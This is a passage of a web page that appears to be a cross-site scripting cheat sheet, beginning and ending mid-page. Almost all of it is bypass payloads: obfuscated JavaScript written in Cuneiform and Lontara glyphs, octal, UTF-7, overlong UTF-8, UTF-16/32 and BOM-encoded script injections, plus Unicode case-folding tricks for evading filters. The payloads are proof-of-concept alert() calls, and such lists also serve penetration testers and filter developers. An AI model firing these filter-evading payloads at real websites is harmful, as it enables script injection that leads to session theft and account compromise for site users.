</code></pre></div>
|
||
<h3 id="bypass-using-cuneiform">Bypass using Cuneiform</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-71-1" name="__codelineno-71-1" href="#__codelineno-71-1"></a><span class="nx">𒀀</span><span class="o">=</span><span class="s1">''</span><span class="p">,</span><span class="nx">𒉺</span><span class="o">=!</span><span class="nx">𒀀</span><span class="o">+</span><span class="nx">𒀀</span><span class="p">,</span><span class="nx">𒀃</span><span class="o">=!</span><span class="nx">𒉺</span><span class="o">+</span><span class="nx">𒀀</span><span class="p">,</span><span class="nx">𒇺</span><span class="o">=</span><span class="nx">𒀀</span><span class="o">+</span><span class="p">{},</span><span class="nx">𒌐</span><span class="o">=</span><span class="nx">𒉺</span><span class="p">[</span><span class="nx">𒀀</span><span class="o">++</span><span class="p">],</span>
|
||
<a id="__codelineno-71-2" name="__codelineno-71-2" href="#__codelineno-71-2"></a><span class="nx">𒀟</span><span class="o">=</span><span class="nx">𒉺</span><span class="p">[</span><span class="nx">𒈫</span><span class="o">=</span><span class="nx">𒀀</span><span class="p">],</span><span class="nx">𒀆</span><span class="o">=++</span><span class="nx">𒈫</span><span class="o">+</span><span class="nx">𒀀</span><span class="p">,</span><span class="nx">𒁹</span><span class="o">=</span><span class="nx">𒇺</span><span class="p">[</span><span class="nx">𒈫</span><span class="o">+</span><span class="nx">𒀆</span><span class="p">],</span><span class="nx">𒉺</span><span class="p">[</span><span class="nx">𒁹</span><span class="o">+=</span><span class="nx">𒇺</span><span class="p">[</span><span class="nx">𒀀</span><span class="p">]</span>
|
||
<a id="__codelineno-71-3" name="__codelineno-71-3" href="#__codelineno-71-3"></a><span class="o">+</span><span class="p">(</span><span class="nx">𒉺</span><span class="p">.</span><span class="nx">𒀃</span><span class="o">+</span><span class="nx">𒇺</span><span class="p">)[</span><span class="nx">𒀀</span><span class="p">]</span><span class="o">+</span><span class="nx">𒀃</span><span class="p">[</span><span class="nx">𒀆</span><span class="p">]</span><span class="o">+</span><span class="nx">𒌐</span><span class="o">+</span><span class="nx">𒀟</span><span class="o">+</span><span class="nx">𒉺</span><span class="p">[</span><span class="nx">𒈫</span><span class="p">]</span><span class="o">+</span><span class="nx">𒁹</span><span class="o">+</span><span class="nx">𒌐</span><span class="o">+</span><span class="nx">𒇺</span><span class="p">[</span><span class="nx">𒀀</span><span class="p">]</span>
|
||
<a id="__codelineno-71-4" name="__codelineno-71-4" href="#__codelineno-71-4"></a><span class="o">+</span><span class="nx">𒀟</span><span class="p">][</span><span class="nx">𒁹</span><span class="p">](</span><span class="nx">𒀃</span><span class="p">[</span><span class="nx">𒀀</span><span class="p">]</span><span class="o">+</span><span class="nx">𒀃</span><span class="p">[</span><span class="nx">𒈫</span><span class="p">]</span><span class="o">+</span><span class="nx">𒉺</span><span class="p">[</span><span class="nx">𒀆</span><span class="p">]</span><span class="o">+</span><span class="nx">𒀟</span><span class="o">+</span><span class="nx">𒌐</span><span class="o">+</span><span class="s2">"(𒀀)"</span><span class="p">)()</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-using-lontara">Bypass using Lontara</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-72-1" name="__codelineno-72-1" href="#__codelineno-72-1"></a><span class="nx">ᨆ</span><span class="o">=</span><span class="s1">''</span><span class="p">,</span><span class="nx">ᨊ</span><span class="o">=!</span><span class="nx">ᨆ</span><span class="o">+</span><span class="nx">ᨆ</span><span class="p">,</span><span class="nx">ᨎ</span><span class="o">=!</span><span class="nx">ᨊ</span><span class="o">+</span><span class="nx">ᨆ</span><span class="p">,</span><span class="nx">ᨂ</span><span class="o">=</span><span class="nx">ᨆ</span><span class="o">+</span><span class="p">{},</span><span class="nx">ᨇ</span><span class="o">=</span><span class="nx">ᨊ</span><span class="p">[</span><span class="nx">ᨆ</span><span class="o">++</span><span class="p">],</span><span class="nx">ᨋ</span><span class="o">=</span><span class="nx">ᨊ</span><span class="p">[</span><span class="nx">ᨏ</span><span class="o">=</span><span class="nx">ᨆ</span><span class="p">],</span><span class="nx">ᨃ</span><span class="o">=++</span><span class="nx">ᨏ</span><span class="o">+</span><span class="nx">ᨆ</span><span class="p">,</span><span class="nx">ᨅ</span><span class="o">=</span><span class="nx">ᨂ</span><span class="p">[</span><span class="nx">ᨏ</span><span class="o">+</span><span class="nx">ᨃ</span><span class="p">],</span><span class="nx">ᨊ</span><span class="p">[</span><span class="nx">ᨅ</span><span class="o">+=</span><span class="nx">ᨂ</span><span class="p">[</span><span class="nx">ᨆ</span><span class="p">]</span><span class="o">+</span><span class="p">(</span><span class="nx">ᨊ</span><span class="p">.</span><span class="nx">ᨎ</span><span class="o">+</span><span class="nx">ᨂ</span><span class="p">)[</span><span class="nx">ᨆ</span><span class="p">]</span><span class="o">+</span><span class="nx">ᨎ</span><span class="p">[</span><span class="nx">ᨃ</span><span class="p">]</span><span class="o">+</span><span class="nx">ᨇ</span><span class="o">+</span><span class="nx">ᨋ</span><span class="o">+</span><span class="nx">ᨊ</span><span class="p">[</span><span class="nx">ᨏ</span><span class="p">]</span><span class="o">+</span><span class="nx">ᨅ</span><span class="o">+</span><span class="nx">ᨇ</span><span class="o">+</span><span class="nx">ᨂ</span><span class="p">[</span><span class="nx">ᨆ</span><span class="p">]</span><span class="o">+</span><span class="nx">ᨋ</span><span class="p">][</span><span class="nx">ᨅ</span><span class="p">](</span><span class="nx">ᨎ</span><span class="p">[</span><span class="nx">ᨆ</span><span class="p">]</span><span class="o">+</span><span class="nx">ᨎ</span><span class="p">[</span><span class="nx">ᨏ</span><span class="p">]</span><span class="o">+</span><span class="nx">ᨊ</span><span class="p">[</span><span class="nx">ᨃ</span><span class="p">]</span><span class="o">+</span><span class="nx">ᨋ</span><span class="o">+</span><span class="nx">ᨇ</span><span class="o">+</span><span class="s2">"(ᨆ)"</span><span class="p">)()</span>
|
||
</code></pre></div>
|
||
<p>More alphabets on http://aem1k.com/aurebesh.js/#</p>
|
||
<h3 id="bypass-using-ecmascript6">Bypass using ECMAScript6</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-73-1" name="__codelineno-73-1" href="#__codelineno-73-1"></a><span class="p"><</span><span class="nt">script</span><span class="p">></span><span class="nx">alert</span><span class="o">&</span><span class="nx">DiacriticalGrave</span><span class="p">;</span><span class="mf">1</span><span class="o">&</span><span class="nx">DiacriticalGrave</span><span class="p">;</</span><span class="nt">script</span><span class="p">></span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-using-octal-encoding">Bypass using Octal encoding</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-74-1" name="__codelineno-74-1" href="#__codelineno-74-1"></a><span class="nx">javascript</span><span class="o">:</span><span class="s1">'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-using-unicode">Bypass using Unicode</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-75-1" name="__codelineno-75-1" href="#__codelineno-75-1"></a><span class="nx">Unicode</span><span class="w"> </span><span class="nx">character</span><span class="w"> </span><span class="nx">U</span><span class="o">+</span><span class="nx">FF1C</span><span class="w"> </span><span class="nx">FULLWIDTH</span><span class="w"> </span><span class="nx">LESS</span><span class="err"></span><span class="nx">THAN</span><span class="w"> </span><span class="nx">SIGN</span><span class="w"> </span><span class="p">(</span><span class="nx">encoded</span><span class="w"> </span><span class="kr">as</span><span class="w"> </span><span class="o">%</span><span class="nx">EF</span><span class="o">%</span><span class="nx">BC</span><span class="o">%</span><span class="mf">9</span><span class="nx">C</span><span class="p">)</span><span class="w"> </span><span class="nx">was</span>
|
||
<a id="__codelineno-75-2" name="__codelineno-75-2" href="#__codelineno-75-2"></a><span class="nx">transformed</span><span class="w"> </span><span class="nx">into</span><span class="w"> </span><span class="nx">U</span><span class="o">+</span><span class="mo">003</span><span class="nx">C</span><span class="w"> </span><span class="nx">LESS</span><span class="err"></span><span class="nx">THAN</span><span class="w"> </span><span class="nx">SIGN</span><span class="w"> </span><span class="p">(</span><span class="o"><</span><span class="p">)</span>
|
||
<a id="__codelineno-75-3" name="__codelineno-75-3" href="#__codelineno-75-3"></a>
|
||
<a id="__codelineno-75-4" name="__codelineno-75-4" href="#__codelineno-75-4"></a><span class="nx">Unicode</span><span class="w"> </span><span class="nx">character</span><span class="w"> </span><span class="nx">U</span><span class="o">+</span><span class="mo">02</span><span class="nx">BA</span><span class="w"> </span><span class="nx">MODIFIER</span><span class="w"> </span><span class="nx">LETTER</span><span class="w"> </span><span class="nx">DOUBLE</span><span class="w"> </span><span class="nx">PRIME</span><span class="w"> </span><span class="p">(</span><span class="nx">encoded</span><span class="w"> </span><span class="kr">as</span><span class="w"> </span><span class="o">%</span><span class="nx">CA</span><span class="o">%</span><span class="nx">BA</span><span class="p">)</span><span class="w"> </span><span class="nx">was</span>
|
||
<a id="__codelineno-75-5" name="__codelineno-75-5" href="#__codelineno-75-5"></a><span class="nx">transformed</span><span class="w"> </span><span class="nx">into</span><span class="w"> </span><span class="nx">U</span><span class="o">+</span><span class="mo">0022</span><span class="w"> </span><span class="nx">QUOTATION</span><span class="w"> </span><span class="nx">MARK</span><span class="w"> </span><span class="p">(</span><span class="err">"</span><span class="p">)</span>
|
||
<a id="__codelineno-75-6" name="__codelineno-75-6" href="#__codelineno-75-6"></a>
|
||
<a id="__codelineno-75-7" name="__codelineno-75-7" href="#__codelineno-75-7"></a><span class="nx">Unicode</span><span class="w"> </span><span class="nx">character</span><span class="w"> </span><span class="nx">U</span><span class="o">+</span><span class="mo">02</span><span class="nx">B9</span><span class="w"> </span><span class="nx">MODIFIER</span><span class="w"> </span><span class="nx">LETTER</span><span class="w"> </span><span class="nx">PRIME</span><span class="w"> </span><span class="p">(</span><span class="nx">encoded</span><span class="w"> </span><span class="kr">as</span><span class="w"> </span><span class="o">%</span><span class="nx">CA</span><span class="o">%</span><span class="nx">B9</span><span class="p">)</span><span class="w"> </span><span class="nx">was</span>
|
||
<a id="__codelineno-75-8" name="__codelineno-75-8" href="#__codelineno-75-8"></a><span class="nx">transformed</span><span class="w"> </span><span class="nx">into</span><span class="w"> </span><span class="nx">U</span><span class="o">+</span><span class="mo">0027</span><span class="w"> </span><span class="nx">APOSTROPHE</span><span class="w"> </span><span class="p">(</span><span class="err">'</span><span class="p">)</span>
|
||
<a id="__codelineno-75-9" name="__codelineno-75-9" href="#__codelineno-75-9"></a>
|
||
<a id="__codelineno-75-10" name="__codelineno-75-10" href="#__codelineno-75-10"></a><span class="nx">E</span><span class="p">.</span><span class="nx">g</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="nx">http</span><span class="o">:</span><span class="c1">//www.example.net/something%CA%BA%EF%BC%9E%EF%BC%9Csvg%20onload=alert%28/XSS/%29%EF%BC%9E/</span>
|
||
<a id="__codelineno-75-11" name="__codelineno-75-11" href="#__codelineno-75-11"></a><span class="o">%</span><span class="nx">EF</span><span class="o">%</span><span class="nx">BC</span><span class="o">%</span><span class="mf">9</span><span class="nx">E</span><span class="w"> </span><span class="nx">becomes</span><span class="w"> </span><span class="o">></span>
|
||
<a id="__codelineno-75-12" name="__codelineno-75-12" href="#__codelineno-75-12"></a><span class="o">%</span><span class="nx">EF</span><span class="o">%</span><span class="nx">BC</span><span class="o">%</span><span class="mf">9</span><span class="nx">C</span><span class="w"> </span><span class="nx">becomes</span><span class="w"> </span><span class="o"><</span>
|
||
</code></pre></div>
|
||
<p>Bypass using Unicode converted to uppercase</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-76-1" name="__codelineno-76-1" href="#__codelineno-76-1"></a><span class="nx">İ</span><span class="w"> </span><span class="p">(</span><span class="o">%</span><span class="nx">c4</span><span class="o">%</span><span class="nx">b0</span><span class="p">).</span><span class="nx">toLowerCase</span><span class="p">()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">i</span>
|
||
<a id="__codelineno-76-2" name="__codelineno-76-2" href="#__codelineno-76-2"></a><span class="nx">ı</span><span class="w"> </span><span class="p">(</span><span class="o">%</span><span class="nx">c4</span><span class="o">%</span><span class="nx">b1</span><span class="p">).</span><span class="nx">toUpperCase</span><span class="p">()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">I</span>
|
||
<a id="__codelineno-76-3" name="__codelineno-76-3" href="#__codelineno-76-3"></a><span class="nx">ſ</span><span class="w"> </span><span class="p">(</span><span class="o">%</span><span class="nx">c5</span><span class="o">%</span><span class="nx">bf</span><span class="p">)</span><span class="w"> </span><span class="p">.</span><span class="nx">toUpperCase</span><span class="p">()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">S</span>
|
||
<a id="__codelineno-76-4" name="__codelineno-76-4" href="#__codelineno-76-4"></a><span class="nx">K</span><span class="w"> </span><span class="p">(</span><span class="o">%</span><span class="nx">E2</span><span class="o">%</span><span class="mf">84</span><span class="o">%</span><span class="nx">AA</span><span class="p">).</span><span class="nx">toLowerCase</span><span class="p">()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">k</span>
|
||
<a id="__codelineno-76-5" name="__codelineno-76-5" href="#__codelineno-76-5"></a>
|
||
<a id="__codelineno-76-6" name="__codelineno-76-6" href="#__codelineno-76-6"></a><span class="o"><</span><span class="nx">ſvg</span><span class="w"> </span><span class="nx">onload</span><span class="o">=</span><span class="p">...</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="nx">become</span><span class="w"> </span><span class="o"><</span><span class="nx">SVG</span><span class="w"> </span><span class="nx">ONLOAD</span><span class="o">=</span><span class="p">...</span><span class="o">></span>
|
||
<a id="__codelineno-76-7" name="__codelineno-76-7" href="#__codelineno-76-7"></a><span class="o"><</span><span class="nx">ıframe</span><span class="w"> </span><span class="nx">id</span><span class="o">=</span><span class="nx">x</span><span class="w"> </span><span class="nx">onload</span><span class="p">=>.</span><span class="nx">toUpperCase</span><span class="p">()</span><span class="w"> </span><span class="nx">become</span><span class="w"> </span><span class="o"><</span><span class="nx">IFRAME</span><span class="w"> </span><span class="nx">ID</span><span class="o">=</span><span class="nx">X</span><span class="w"> </span><span class="nx">ONLOAD</span><span class="p">=></span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-using-utf-7">Bypass using UTF-7</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-77-1" name="__codelineno-77-1" href="#__codelineno-77-1"></a><span class="o">+</span><span class="nx">ADw</span><span class="o">-</span><span class="nx">img</span><span class="w"> </span><span class="nx">src</span><span class="o">=+</span><span class="nx">ACI</span><span class="o">-</span><span class="mf">1</span><span class="o">+</span><span class="nx">ACI</span><span class="o">-</span><span class="w"> </span><span class="nx">onerror</span><span class="o">=+</span><span class="nx">ACI</span><span class="o">-</span><span class="nx">alert</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="o">+</span><span class="nx">ACI</span><span class="o">-</span><span class="w"> </span><span class="err">/+AD4-</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-using-utf-8">Bypass using UTF-8</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-78-1" name="__codelineno-78-1" href="#__codelineno-78-1"></a><span class="o"><</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">%</span><span class="nx">C0</span><span class="o">%</span><span class="nx">BC</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">%</span><span class="nx">E0</span><span class="o">%</span><span class="mf">80</span><span class="o">%</span><span class="nx">BC</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">%</span><span class="nx">F0</span><span class="o">%</span><span class="mf">80</span><span class="o">%</span><span class="mf">80</span><span class="o">%</span><span class="nx">BC</span>
|
||
<a id="__codelineno-78-2" name="__codelineno-78-2" href="#__codelineno-78-2"></a><span class="o">></span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">%</span><span class="nx">C0</span><span class="o">%</span><span class="nx">BE</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">%</span><span class="nx">E0</span><span class="o">%</span><span class="mf">80</span><span class="o">%</span><span class="nx">BE</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">%</span><span class="nx">F0</span><span class="o">%</span><span class="mf">80</span><span class="o">%</span><span class="mf">80</span><span class="o">%</span><span class="nx">BE</span>
|
||
<a id="__codelineno-78-3" name="__codelineno-78-3" href="#__codelineno-78-3"></a><span class="s1">' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7</span>
|
||
<a id="__codelineno-78-4" name="__codelineno-78-4" href="#__codelineno-78-4"></a><span class="s1">" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2</span>
|
||
<a id="__codelineno-78-5" name="__codelineno-78-5" href="#__codelineno-78-5"></a><span class="s1">" = %CA%BA</span>
|
||
<a id="__codelineno-78-6" name="__codelineno-78-6" href="#__codelineno-78-6"></a><span class="s1">'</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">%</span><span class="nx">CA</span><span class="o">%</span><span class="nx">B9</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-using-utf-16be">Bypass using UTF-16be</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-79-1" name="__codelineno-79-1" href="#__codelineno-79-1"></a><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mf">3</span><span class="nx">C</span><span class="o">%</span><span class="mo">00</span><span class="nx">s</span><span class="o">%</span><span class="mo">00</span><span class="nx">v</span><span class="o">%</span><span class="mo">00</span><span class="nx">g</span><span class="o">%</span><span class="mo">00</span><span class="o">/%</span><span class="mo">00</span><span class="nx">o</span><span class="o">%</span><span class="mo">00n</span><span class="o">%</span><span class="mo">00</span><span class="nx">l</span><span class="o">%</span><span class="mo">00</span><span class="nx">o</span><span class="o">%</span><span class="mo">00</span><span class="nx">a</span><span class="o">%</span><span class="mo">00</span><span class="nx">d</span><span class="o">%</span><span class="mo">00</span><span class="o">=%</span><span class="mo">00</span><span class="nx">a</span><span class="o">%</span><span class="mo">00</span><span class="nx">l</span><span class="o">%</span><span class="mo">00</span><span class="nx">e</span><span class="o">%</span><span class="mo">00</span><span class="nx">r</span><span class="o">%</span><span class="mo">00</span><span class="nx">t</span><span class="o">%</span><span class="mo">00</span><span class="p">(</span><span class="o">%</span><span class="mo">00</span><span class="p">)</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mf">3</span><span class="nx">E</span><span class="o">%</span><span class="mo">00</span>
|
||
<a id="__codelineno-79-2" name="__codelineno-79-2" href="#__codelineno-79-2"></a><span class="err">\</span><span class="nx">x00</span><span class="o"><</span><span class="err">\</span><span class="nx">x00s</span><span class="err">\</span><span class="nx">x00v</span><span class="err">\</span><span class="nx">x00g</span><span class="err">\</span><span class="nx">x00</span><span class="o">/</span><span class="err">\</span><span class="nx">x00o</span><span class="err">\</span><span class="nx">x00n</span><span class="err">\</span><span class="nx">x00l</span><span class="err">\</span><span class="nx">x00o</span><span class="err">\</span><span class="nx">x00a</span><span class="err">\</span><span class="nx">x00d</span><span class="err">\</span><span class="nx">x00</span><span class="o">=</span><span class="err">\</span><span class="nx">x00a</span><span class="err">\</span><span class="nx">x00l</span><span class="err">\</span><span class="nx">x00e</span><span class="err">\</span><span class="nx">x00r</span><span class="err">\</span><span class="nx">x00t</span><span class="err">\</span><span class="nx">x00</span><span class="p">(</span><span class="err">\</span><span class="nx">x00</span><span class="p">)</span><span class="err">\</span><span class="nx">x00</span><span class="o">></span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-using-utf-32">Bypass using UTF-32</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-80-1" name="__codelineno-80-1" href="#__codelineno-80-1"></a><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mf">3</span><span class="nx">C</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">s</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">v</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">g</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">/%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">o</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00n</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">l</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">o</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">a</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">d</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">=%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">a</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">l</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">e</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">r</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">t</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="p">(</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="p">)</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mf">3</span><span class="nx">E</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-using-bom">Bypass using BOM</h3>
|
||
<p>Byte Order Mark (The page must begin with the BOM character.)
|
||
BOM character allows you to override charset of the page</p>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-81-1" name="__codelineno-81-1" href="#__codelineno-81-1"></a><span class="nx">BOM</span><span class="w"> </span><span class="nx">Character</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="nx">UTF</span><span class="o">-</span><span class="mf">16</span><span class="w"> </span><span class="nx">Encoding</span><span class="o">:</span>
|
||
<a id="__codelineno-81-2" name="__codelineno-81-2" href="#__codelineno-81-2"></a><span class="nx">Big</span><span class="w"> </span><span class="nx">Endian</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0xFE</span><span class="w"> </span><span class="mh">0xFF</span>
|
||
<a id="__codelineno-81-3" name="__codelineno-81-3" href="#__codelineno-81-3"></a><span class="nx">Little</span><span class="w"> </span><span class="nx">Endian</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0xFF</span><span class="w"> </span><span class="mh">0xFE</span>
|
||
<a id="__codelineno-81-4" name="__codelineno-81-4" href="#__codelineno-81-4"></a><span class="nx">XSS</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="o">%</span><span class="nx">fe</span><span class="o">%</span><span class="nx">ff</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mf">3</span><span class="nx">C</span><span class="o">%</span><span class="mo">00</span><span class="nx">s</span><span class="o">%</span><span class="mo">00</span><span class="nx">v</span><span class="o">%</span><span class="mo">00</span><span class="nx">g</span><span class="o">%</span><span class="mo">00</span><span class="o">/%</span><span class="mo">00</span><span class="nx">o</span><span class="o">%</span><span class="mo">00n</span><span class="o">%</span><span class="mo">00</span><span class="nx">l</span><span class="o">%</span><span class="mo">00</span><span class="nx">o</span><span class="o">%</span><span class="mo">00</span><span class="nx">a</span><span class="o">%</span><span class="mo">00</span><span class="nx">d</span><span class="o">%</span><span class="mo">00</span><span class="o">=%</span><span class="mo">00</span><span class="nx">a</span><span class="o">%</span><span class="mo">00</span><span class="nx">l</span><span class="o">%</span><span class="mo">00</span><span class="nx">e</span><span class="o">%</span><span class="mo">00</span><span class="nx">r</span><span class="o">%</span><span class="mo">00</span><span class="nx">t</span><span class="o">%</span><span class="mo">00</span><span class="p">(</span><span class="o">%</span><span class="mo">00</span><span class="p">)</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mf">3</span><span class="nx">E</span>
|
||
<a id="__codelineno-81-5" name="__codelineno-81-5" href="#__codelineno-81-5"></a>
|
||
<a id="__codelineno-81-6" name="__codelineno-81-6" href="#__codelineno-81-6"></a><span class="nx">BOM</span><span class="w"> </span><span class="nx">Character</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="nx">UTF</span><span class="o">-</span><span class="mf">32</span><span class="w"> </span><span class="nx">Encoding</span><span class="o">:</span>
|
||
<a id="__codelineno-81-7" name="__codelineno-81-7" href="#__codelineno-81-7"></a><span class="nx">Big</span><span class="w"> </span><span class="nx">Endian</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0x00</span><span class="w"> </span><span class="mh">0x00</span><span class="w"> </span><span class="mh">0xFE</span><span class="w"> </span><span class="mh">0xFF</span>
|
||
<a id="__codelineno-81-8" name="__codelineno-81-8" href="#__codelineno-81-8"></a><span class="nx">Little</span><span class="w"> </span><span class="nx">Endian</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="mh">0xFF</span><span class="w"> </span><span class="mh">0xFE</span><span class="w"> </span><span class="mh">0x00</span><span class="w"> </span><span class="mh">0x00</span>
|
||
<a id="__codelineno-81-9" name="__codelineno-81-9" href="#__codelineno-81-9"></a><span class="nx">XSS</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="nx">fe</span><span class="o">%</span><span class="nx">ff</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mf">3</span><span class="nx">C</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">s</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">v</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">g</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">/%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">o</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00n</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">l</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">o</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">a</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">d</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">=%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">a</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">l</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">e</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">r</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="nx">t</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="p">(</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="p">)</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mo">00</span><span class="o">%</span><span class="mf">3</span><span class="nx">E</span>
|
||
</code></pre></div>
|
||
<h3 id="bypass-using-weird-encoding-or-native-interpretation">Bypass using weird encoding or native interpretation</h3>
|
||
<div class="highlight"><pre><span></span><code><a id="__codelineno-82-1" name="__codelineno-82-1" href="#__codelineno-82-1"></a><span class="o"><</span><span class="nx">script</span><span class="o">></span><span class="nx">\u0061\u006C\u0065\u0072\u0074</span><span class="p">(</span><span class="mf">1</span><span class="p">)</span><span class="o"><</span><span class="err">/script></span>
|
||
